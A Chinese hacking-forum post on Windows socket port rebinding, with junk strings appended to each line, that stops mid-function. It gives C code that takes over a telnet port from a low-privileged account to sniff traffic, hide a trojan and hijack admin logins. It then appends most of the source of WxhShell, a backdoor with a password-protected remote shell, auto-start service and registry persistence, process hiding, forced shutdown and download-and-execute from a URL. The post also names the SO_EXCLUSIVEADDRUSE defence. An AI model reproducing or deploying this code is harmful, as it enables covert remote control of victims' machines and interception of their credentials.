社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9624阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X3AwM%,!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b) Ux3PB  
cg{Gc]'1#  
  saddr.sin_family = AF_INET; of=ql  
vffH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y!M~#oqio  
Mo_$b8i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bTiBmS  
ZEqE$:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u7[pLtOwN  
V;k#})_-  
  这意味着什么?意味着可以进行如下的攻击: l**3%cTb  
P0)AU i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2Q}7fht  
z#RuwB+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2qlIy  
7u|%^Ao6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {d,?bs)  
\TZ|S,FS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z<i,D08|d  
;7L;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3 &Sp@,  
=D5wqCT(Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |WBZN1W)  
<W2ZoqaV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xdqK.Z%  
7C?E z%a@  
  #include U:\p$hL9  
  #include BtzYA"  
  #include Sj@15 W  
  #include    jccOsG9;_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )%t7\1)B3  
  int main() :WO{xg  
  { &1l~&,,  
  WORD wVersionRequested; *t]v}ZV*  
  DWORD ret; jI A#!4  
  WSADATA wsaData; !UVk9  
  BOOL val; [EruyWK  
  SOCKADDR_IN saddr; bLco:-G1E1  
  SOCKADDR_IN scaddr; G%$}WA]|  
  int err; hVkO%]?  
  SOCKET s; 83Uw  
  SOCKET sc; Y0}4WWV  
  int caddsize; i(Vm!Y82  
  HANDLE mt; 8 ip^]  
  DWORD tid;   `H"vR: ~{  
  wVersionRequested = MAKEWORD( 2, 2 ); ,WGc7NN`  
  err = WSAStartup( wVersionRequested, &wsaData ); %0zS  
  if ( err != 0 ) { F )7j@h^  
  printf("error!WSAStartup failed!\n"); Cx,-_  
  return -1; <S&]$?`{Wi  
  } !?b/-~o7S  
  saddr.sin_family = AF_INET; !vVT]k[N  
   WGPD8.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _N@(Y:  
.lr5!Stb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #"<?_fao~  
  saddr.sin_port = htons(23); ;Yv14{T!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >uHb ^  
  { {!r#f(?uT  
  printf("error!socket failed!\n"); R+uw/LG  
  return -1; W"t"X ~T3  
  } iu|v9+  
  val = TRUE; nd.hHQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C/)`<b(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *E7R(#,yC  
  { + KP_yUq[  
  printf("error!setsockopt failed!\n"); Mt=R*M}D0  
  return -1; {[tZ.1.w  
  } c$A@T~$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j_V/GnEQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /?U!y?t&@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b`zET^F  
|EEi&GOR(y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &Sa~/!M  
  { 7D9]R#-K  
  ret=GetLastError(); 1yS&~ y?a  
  printf("error!bind failed!\n"); V)h y0_  
  return -1; ~ aA;<#  
  } "koo` J  
  listen(s,2); z37Z %^  
  while(1) UKj`_a6  
  { =Epq%,4nG  
  caddsize = sizeof(scaddr); y;QQ| =,  
  //接受连接请求 ^cn@?k((A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #a'r_K=ch)  
  if(sc!=INVALID_SOCKET) @ZG>mP1Vo  
  { Zw24f1iY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6n,xH!7  
  if(mt==NULL) Yv=g^tw  
  { * :S~C  
  printf("Thread Creat Failed!\n"); ,cD1{T\  
  break; L;lk.~V4T  
  } m9!DOL1pl  
  } !5~k:1=  
  CloseHandle(mt); O2lIlCL  
  } ju.OW`GM  
  closesocket(s); p6Gcts?,  
  WSACleanup(); vpV$$=Qwp  
  return 0; R[Nbtbv9Q  
  }   mLaCkn  
  DWORD WINAPI ClientThread(LPVOID lpParam)  P63 (^R  
  { In+^V([u+_  
  SOCKET ss = (SOCKET)lpParam; 'kEG.Oq7  
  SOCKET sc; MQ9vPgh  
  unsigned char buf[4096]; Q i^;1&  
  SOCKADDR_IN saddr; D )gD<  
  long num; Y/D -V  
  DWORD val; HU9p !I.  
  DWORD ret; C=[Ae,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fv@tD4I>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6klD22b2$  
  saddr.sin_family = AF_INET; HzEGq,.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y]^#$dK(z  
  saddr.sin_port = htons(23); &?r*p0MQC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p&O8qAaO  
  { L#!$hq9{_  
  printf("error!socket failed!\n"); DJ|BM+  
  return -1; OfJd/D  
  } jzMg'z/@J  
  val = 100; v#F-<?Vv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3a^)u-9,x  
  { [S)G$JW  
  ret = GetLastError(); @ t|3gF$X  
  return -1; H`5Ct  
  } x=vK EyS@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l=NAq_?N\  
  { bQj`g2eyM  
  ret = GetLastError(); B j=@&;  
  return -1; T]uKH29.%  
  } qy&\Xgn;GA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2`E! |X  
  { OEI3eizgH  
  printf("error!socket connect failed!\n"); #<]Iz'\`  
  closesocket(sc); Wp`C:H  
  closesocket(ss); x G^f  
  return -1; C]Q>*=r  
  } sJv`fjf%8  
  while(1) :P,2K5]y  
  { B\/7^{i5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Uuz?8/w}#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ? oc+ 1e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 - f 4>MG  
  num = recv(ss,buf,4096,0); 82s 5VQ6  
  if(num>0) pl?kS8#U?  
  send(sc,buf,num,0); L20rv:W$h  
  else if(num==0) >3!DOv   
  break; -O%[!&`  
  num = recv(sc,buf,4096,0); q}s K  
  if(num>0) cyBW0wV1  
  send(ss,buf,num,0); W }Zb~[,  
  else if(num==0) gw J}]Tf  
  break; (V)9s\Le_  
  } s6/cL|Ex  
  closesocket(ss); 4]EvT=Ro  
  closesocket(sc); Rf?%Tv0\  
  return 0 ; O{nC^`X  
  } G:DSWW}  
bOe<\Y$  
:Fnzi0b  
========================================================== _jo$)x+'x  
QY6O(=  
下边附上一个代码,,WXhSHELL Yw1Y-M  
8F)=n \  
========================================================== CC>($k"  
L&QtHSzy  
#include "stdafx.h" CWBbSGk  
,# eO&  
#include <stdio.h> v4D!7 t&v"  
#include <string.h> s.KOBNCFa  
#include <windows.h> \6i 9q=  
#include <winsock2.h> cCk1'D|X[e  
#include <winsvc.h> hR0]8l|  
#include <urlmon.h> r.?+gW!C  
[WYJrk.  
#pragma comment (lib, "Ws2_32.lib") F  "!`X#  
#pragma comment (lib, "urlmon.lib") RPY 6Wh| 4  
Bd8hJA  
#define MAX_USER   100 // 最大客户端连接数 sSV^5  
#define BUF_SOCK   200 // sock buffer F=: c5z  
#define KEY_BUFF   255 // 输入 buffer $82zyq  
`BpCRKTG  
#define REBOOT     0   // 重启 Lg b  
#define SHUTDOWN   1   // 关机 1 0V+OIC  
t"tNtLI  
#define DEF_PORT   5000 // 监听端口 C`pan /t  
4L!e=>as"1  
#define REG_LEN     16   // 注册表键长度 [d\#[l_  
#define SVC_LEN     80   // NT服务名长度 }^Z< dbt  
t:disL& !E  
// 从dll定义API y/H8+0sEk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -: C[P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `!_?uT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N4s$.`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nl=+.d6 Qo  
+yvBSpY  
// wxhshell配置信息 yG4MUf6  
struct WSCFG { sE}sE=\  
  int ws_port;         // 监听端口 <9 T [yg  
  char ws_passstr[REG_LEN]; // 口令 h ;jsH!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wz5d| b  
  char ws_regname[REG_LEN]; // 注册表键名 nE4l0[_  
  char ws_svcname[REG_LEN]; // 服务名 N]*!8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Re{ej  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h|)2'07  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P^ by'b+zI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J09ZK8 hK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *x5o=)Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,znL,%s  
gl Li  
}; Z"+(LO!  
8XgVY9]Qm  
// default Wxhshell configuration [&fWF~D-p<  
struct WSCFG wscfg={DEF_PORT, =g1D;  
    "xuhuanlingzhe", 31H|?cg<  
    1, ddl3 fl#f  
    "Wxhshell", X9SJ~n  
    "Wxhshell", Q:rT 9&G  
            "WxhShell Service", :K?iNZqWN6  
    "Wrsky Windows CmdShell Service", S`fu+^c v  
    "Please Input Your Password: ", []!tT-Gzy  
  1, 4U:DJ_GN  
  "http://www.wrsky.com/wxhshell.exe", YK7gd|LR]  
  "Wxhshell.exe" x>'?IJZ  
    }; s 8C:QC  
UX03"gX  
// 消息定义模块 *pmoLiuB>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9.^-us1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U. NeK{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MI?]8+l  
char *msg_ws_ext="\n\rExit."; nvw NjN  
char *msg_ws_end="\n\rQuit."; yZQ1] '^31  
char *msg_ws_boot="\n\rReboot..."; L>eQ*311  
char *msg_ws_poff="\n\rShutdown..."; I):m6y@  
char *msg_ws_down="\n\rSave to "; Z(#XFXd  
34HFrMi  
char *msg_ws_err="\n\rErr!"; /%c+ eL}l  
char *msg_ws_ok="\n\rOK!"; <1v{[F_  
'Wd3`4V$  
char ExeFile[MAX_PATH]; jp"XS  
int nUser = 0; bwv/{3G,Ys  
HANDLE handles[MAX_USER]; vr5<LNCLQ  
int OsIsNt; (8+.#1!*  
,!xz*o+#@  
SERVICE_STATUS       serviceStatus; d91I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sz^TG F  
&:IfhS  
// 函数声明 jqV)V>M.  
int Install(void); 0q-0zXlSL  
int Uninstall(void); ZK W@pW]U  
int DownloadFile(char *sURL, SOCKET wsh); _gis+f/8h  
int Boot(int flag); 2&3eAJC  
void HideProc(void); `kI?Af*;v  
int GetOsVer(void); !]n{l_5r  
int Wxhshell(SOCKET wsl); sqgD?:@J  
void TalkWithClient(void *cs); ]=O{7#  
int CmdShell(SOCKET sock); 1==P.d(  
int StartFromService(void); bgkbwE  
int StartWxhshell(LPSTR lpCmdLine); ayB=|*Q"  
_:/Cl9~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \3J+OY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 77Q4gw~2U  
.N'%hh  
// 数据结构和表定义 s:qxAUi\/  
SERVICE_TABLE_ENTRY DispatchTable[] = x0N-[//YV  
{ n3-GnVC][  
{wscfg.ws_svcname, NTServiceMain}, 4+Li)A:4.  
{NULL, NULL} LbLbJ{68  
}; T +|J19  
>"2\D|-/  
// 自我安装 "H/2r]?GT  
int Install(void) E1mI Xd;.  
{ HY@kw>I  
  char svExeFile[MAX_PATH]; N> uZt2  
  HKEY key; b7F3]W<`&  
  strcpy(svExeFile,ExeFile); z/Mhu{ttL  
8=!r nJCav  
// 如果是win9x系统,修改注册表设为自启动 3(Hj7d7'}  
if(!OsIsNt) { P"[ifs p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )j)y5_m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VyBJIzs0  
  RegCloseKey(key); t6! p\Y}}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 RzF].)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}j_eH l{  
  RegCloseKey(key); HZ[68T[8b  
  return 0; %Hh &u .  
    } < |]i  
  } Cv?<}q  
} +qu@dU0\`|  
else { Huug_E+  
`SSP53R(0  
// 如果是NT以上系统,安装为系统服务 O4'kS @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?[*@T2Ck  
if (schSCManager!=0) m,kv EQ3  
{ 8xeun~e"vS  
  SC_HANDLE schService = CreateService *R9mgv[  
  ( oK(W)[u  
  schSCManager, N'Z_6A*-  
  wscfg.ws_svcname, <*b]JY V@  
  wscfg.ws_svcdisp, iPtm@f,bI  
  SERVICE_ALL_ACCESS, ps{&WT3a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PEwW*4Xo  
  SERVICE_AUTO_START, }(vOaD|k=  
  SERVICE_ERROR_NORMAL, ^| a&%wxA  
  svExeFile, _z_3%N  
  NULL, lhW#IiX  
  NULL, R+@sHsZ@  
  NULL, qAuUe=w%p  
  NULL, s\3Z?zm8  
  NULL 7kWZMi  
  ); ;{F;e)${M  
  if (schService!=0) Xoa <r9  
  { 2C 8L\  
  CloseServiceHandle(schService); eL] w' }\  
  CloseServiceHandle(schSCManager); <whPM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rwV u?W  
  strcat(svExeFile,wscfg.ws_svcname); 6{F S /+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w$<fSe7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d/-]y:`f`  
  RegCloseKey(key); h>`'\qy  
  return 0; ~n]2)>6  
    } aS1P]&  
  } >x_:=%Wr+  
  CloseServiceHandle(schSCManager); G3^n_]Jb  
} 2=UTH% 1D  
} ko7-%+0|]  
j)lM:vXR  
return 1; Y;I(6`,Y  
} a_#eGe>  
w!GU~0~3[  
// 自我卸载 )eedfb1  
int Uninstall(void) 7+2aG  
{ _`Yvfz3  
  HKEY key; *z  ;N  
gWU(uBS  
if(!OsIsNt) { F" #3s=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aaw:B?4)  
  RegDeleteValue(key,wscfg.ws_regname); y0mg}N1  
  RegCloseKey(key); R;,u >P "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N6 }i>";_;  
  RegDeleteValue(key,wscfg.ws_regname); `X]2iz  
  RegCloseKey(key); iTBhLg,  
  return 0; Ul~}@^m]4}  
  } m#}{"d&J  
} hcqmjqJ  
} n*8RYm)?  
else { kHIQ/\3?Q  
b<8J;u<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fB ,!|u  
if (schSCManager!=0) p=5H^E m1  
{  sCf(h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @BQB NGR1  
  if (schService!=0) Jtk.v49Ad>  
  { EpS8,[w  
  if(DeleteService(schService)!=0) { !v;_@iW3e  
  CloseServiceHandle(schService); 0dX=  
  CloseServiceHandle(schSCManager); 3b/vyZF  
  return 0; R8W4 4I*R:  
  } (( IBaEq  
  CloseServiceHandle(schService); z{M,2  
  } n[w,x;  
  CloseServiceHandle(schSCManager); ZCF-*nm  
} ny? m&;^r:  
} IF?B`TmZ  
3*23+}^G  
return 1; 7~9f rW<K  
} U&\{/l  
qA\kx#v]P  
// 从指定url下载文件 q>oH(A  
int DownloadFile(char *sURL, SOCKET wsh) \iE9&3Ie  
{ tS\NO@E_Jh  
  HRESULT hr; xr-`i  
char seps[]= "/"; _CwQ}n*  
char *token; %+W >+xRb  
char *file; /F9lW}pd  
char myURL[MAX_PATH]; U$JIF/MO_  
char myFILE[MAX_PATH]; WsDe0F  
R3!vS+5rR  
strcpy(myURL,sURL); X|B;>q  
  token=strtok(myURL,seps); < 3+&DV-<N  
  while(token!=NULL) h}<ZZ  
  { 5Cyjq0+  
    file=token; scEQDV  
  token=strtok(NULL,seps); Q3{&'|}^2  
  } /{)cI^9  
o-Fle, qf  
GetCurrentDirectory(MAX_PATH,myFILE); xi^e =:;`  
strcat(myFILE, "\\"); /+U)!$zm*  
strcat(myFILE, file); SpiC0  
  send(wsh,myFILE,strlen(myFILE),0); ' 1]bjW*!  
send(wsh,"...",3,0); #]/T9:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ca"+t lO  
  if(hr==S_OK) S&) >w5*]U  
return 0; O!+5As  
else * CGdfdxW  
return 1; x#VUEu]8  
:%oj'm44!  
} VIdoT2  
&bgi0)>  
// 系统电源模块 'n#S6.Y:  
int Boot(int flag) 5VoiDM=\c  
{ % x;!s=U  
  HANDLE hToken; G")EE#W$}  
  TOKEN_PRIVILEGES tkp; y%l#lz=6  
ho$%7mc  
  if(OsIsNt) { G QBN-Qv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jz:c)C&/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,T[ +omo  
    tkp.PrivilegeCount = 1; 8J U~Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?t P/VL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ''07Km@x  
if(flag==REBOOT) { -{SiK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~,-O  
  return 0; ^#nWgo7{7  
} )#Bfd(F  
else { }@6 %yR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LbknSy C  
  return 0; 2/N*Uk 0  
} %"fKZ  
  } *9 wHH-#  
  else { U  {!{5l:  
if(flag==REBOOT) { ^}\R]})w"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]arskmB]  
  return 0; -RDs{c`y%N  
} @ &yj7-]  
else { ebK wCZwK*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) agD.J)v\  
  return 0; MCG~{#`  
} rL"k-5>fd  
} =)5a=^ 6  
>iJuR.:OO  
return 1; i_ TdI  
} 3mz>Y*^?0  
Yk&{VXU<  
// win9x进程隐藏模块 l);8y5  
void HideProc(void) Y\\nJuJo  
{ ') y~d  
)KQum`pO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~riw7"  
  if ( hKernel != NULL ) Ih"Ol(W  
  { - Sgp,"a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rcT<OiYuig  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TvwIro  
    FreeLibrary(hKernel); Z`t?kXDNoI  
  } 1=.kH[R  
0E1)&f  
return; +[9"M+4-  
} XLxr~Yo  
<Rt@z|Zv  
// 获取操作系统版本 B(dL`]@Xm  
int GetOsVer(void) nJg2O@mRJ  
{ rM |RGe  
  OSVERSIONINFO winfo; ^u,x~nPXg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hh}EDnx  
  GetVersionEx(&winfo); NZP,hAUK,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B[V=l<J  
  return 1; _,~zy9{,  
  else f'U]Ik;Jy  
  return 0; E1_4\ S*z  
} 'YZs6rcJ  
[G/X  
// 客户端句柄模块 3Gv i!h7  
int Wxhshell(SOCKET wsl) &X(-C9'j  
{ zt0 zKXw  
  SOCKET wsh; {NDP}UATw  
  struct sockaddr_in client; |;yb *  
  DWORD myID; r%n[PK^(  
TD7ONa-,  
  while(nUser<MAX_USER) `I$A;OPK7  
{ k#[s)Ja?s  
  int nSize=sizeof(client); T7'$A!c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KW<CU'  
  if(wsh==INVALID_SOCKET) return 1; N/VIP0Kb  
tEs$+b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZeZwzH)BD  
if(handles[nUser]==0) =T]OYk  
  closesocket(wsh); ")OLmkC  
else p.|; k%c7  
  nUser++; l?[DO?m+R  
  } _3S{n=9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cpVi9]  
}JsdgO&z  
  return 0; jU$PO\UTk  
} a=dN.OB}F7  
y"ck;OQD  
// 关闭 socket p3'+"sFU  
void CloseIt(SOCKET wsh) d]]qy  
{ OLwxGRYX  
closesocket(wsh); a{W-+t   
nUser--; qT4s* kqr  
ExitThread(0); 4{KsCd)  
} p%-9T>og  
y]_DW6W  
// 客户端请求句柄 p'*UM%@SIY  
void TalkWithClient(void *cs) 9iE66N>z  
{ :83" t-O8[  
r "R\  
  SOCKET wsh=(SOCKET)cs; D~:fn|/Brp  
  char pwd[SVC_LEN]; 8^lXM-G-  
  char cmd[KEY_BUFF]; X c^~|%+  
char chr[1]; 8h97~$7)  
int i,j; Jk*MxlA.b  
G w[&P%  
  while (nUser < MAX_USER) { U9w*x/S wb  
Cn<x  
if(wscfg.ws_passstr) { ?x97 q3I+]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K~]jXo^M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jo~Pr  
  //ZeroMemory(pwd,KEY_BUFF); `upNP/,  
      i=0; k s}o9[D3  
  while(i<SVC_LEN) { 51vK>  
:y)'qv[  
  // 设置超时 FcA0 \`0M  
  fd_set FdRead; p* @L1  
  struct timeval TimeOut; i`~y %y  
  FD_ZERO(&FdRead); J"y@n ~*0  
  FD_SET(wsh,&FdRead); +,lD_{}_  
  TimeOut.tv_sec=8; LHb{9x  
  TimeOut.tv_usec=0; QS}=oOR@k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D }\`5L<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ar==@777j  
xph60T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )zN )7  
  pwd=chr[0]; $gNCS:VG*  
  if(chr[0]==0xd || chr[0]==0xa) { J*k4&l  
  pwd=0; sAN#j {  
  break; 8~i@7~ J  
  } VA0TY/{ ]  
  i++; !Xm:$KH  
    } 7}Sw(g)o7  
CS/-:>s%  
  // 如果是非法用户,关闭 socket =%L^!//c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d,77L  
} O,cx9N  
W5p}oN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =EKJ!{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DQ)SMqOotw  
c nzPq\  
while(1) { 1 .M?Hp9i  
j*5VJ:  
  ZeroMemory(cmd,KEY_BUFF); e([&Nr8h  
\ *2IU"R  
      // 自动支持客户端 telnet标准   fHigLL0B  
  j=0; \&H%k   
  while(j<KEY_BUFF) { 0`W~2ai  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OjN]mp-q  
  cmd[j]=chr[0]; !4E:IM63  
  if(chr[0]==0xa || chr[0]==0xd) { H2]I__t/u  
  cmd[j]=0; NQG"}=KA  
  break; XP7A.I#q0  
  } 0\+Qi?&  
  j++; &eg,*K}'  
    } A-W7!0  
JG[+e*8  
  // 下载文件 6voK{C4J  
  if(strstr(cmd,"http://")) { G 1$l%B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g_=Q=y@,  
  if(DownloadFile(cmd,wsh)) n'ro5D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=pDC+  
  else /Yh8r1^2tZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % Y @3)  
  } 8^{BuUA  
  else { 7v-C-u[E`  
Lg^m?~{  
    switch(cmd[0]) { 9hv\%_>o  
  ty78)XI  
  // 帮助 c:0$ M w=  
  case '?': { i`Tne3)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]HRZ9oP  
    break; 6"DvdJ0MB  
  } O!g> f  
  // 安装 :* 'i\  
  case 'i': { 3EyN"Lvp{o  
    if(Install()) P ,i)A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R9W(MLe58  
    else 7@sWT<P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ESAoY"RPN  
    break; 4Mprc~ 7vr  
    } 3 !,%;Vz=  
  // 卸载 {\V)bizY;  
  case 'r': { DirWe  
    if(Uninstall()) t3M/ThIE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Xn%-OT  
    else 1)r1/0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,y0kzwPR1  
    break; ;#;X@BhS  
    } gQ?k}D  
  // 显示 wxhshell 所在路径 +o/q@&v;Ax  
  case 'p': { $d"6y  
    char svExeFile[MAX_PATH]; 6+It>mnR  
    strcpy(svExeFile,"\n\r"); ~DJ/sY2/  
      strcat(svExeFile,ExeFile); ;'h7 j*6  
        send(wsh,svExeFile,strlen(svExeFile),0); .Ybm27Dk  
    break; F kWJB>  
    } ^I0SfZ'Y  
  // 重启 {<GsM  
  case 'b': { 65AOFH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gs!{'=4wT  
    if(Boot(REBOOT)) [J^,_iN[.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]p:gI{m  
    else { VHJr+BQ1K/  
    closesocket(wsh); }LM_VZj  
